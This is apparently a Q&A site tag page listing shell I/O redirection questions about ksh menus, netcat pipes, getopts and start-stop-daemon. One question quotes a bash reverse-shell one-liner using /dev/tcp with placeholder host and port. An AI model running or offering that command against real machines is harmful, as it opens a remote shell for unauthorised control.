io redirection is the process of changing where the output and input of a program originate

learn more… | top users | synonyms (1)

1
vote
2answers
238 views

Running 'bash -i >& /dev/tcp/HOST/PORT 0>&1' in the background

I want to run bash -i >& /dev/tcp/HOST/PORT 0>&1 in the background at server1. I want to listen to the connection and send commands back at HOST/PORT. So, tcpdump isn't sufficient for ...
2
votes
1answer
428 views

KSH styling text based menu using STDERR

Is it possible to format the STDERR in order to have a better looking menu using the select command? I have a simple select select oChoice in $(<tempMenu.menu) ; do case "$oChoice" in ...
1
vote
1answer
63 views

Why doesn't this piped script work?

#!/bin/bash rm out mkfifo out nc -l 8080 < out | while read line do echo hello > out echo $line done If I browse to the IP of the machine this script is running on (using port ...
0
votes
1answer
72 views

Prompting when redirecting content of script to remote machine

I have simple script: #!/bin/bash while getopts ":u:" opt; do case $opt in u) USER="${OPTARG}" ;; \?) echo "Unknown flag has been used: -$OPTARG" >&2 exit 1 ...
0
votes
0answers
54 views

start-stop-daemon doesn't stop programs which redirect stdout/stderr

I just discovered, that start-stop-daemon doesn't work well with programs redirecting their stdout/stderr: # cat /root/_/1.sh #!/usr/bin/env bash set -eu cmd="~yuri/_/${2:-1}.sh" if [ "${3:-}" = ...
-2
votes
0answers
16 views

Explain a tsums command line

In putty, I am blindly writing codes as below, cat >! lot tsums @lot -format=lot,machine_id > ! MCID what is the meaning of these 2 lines?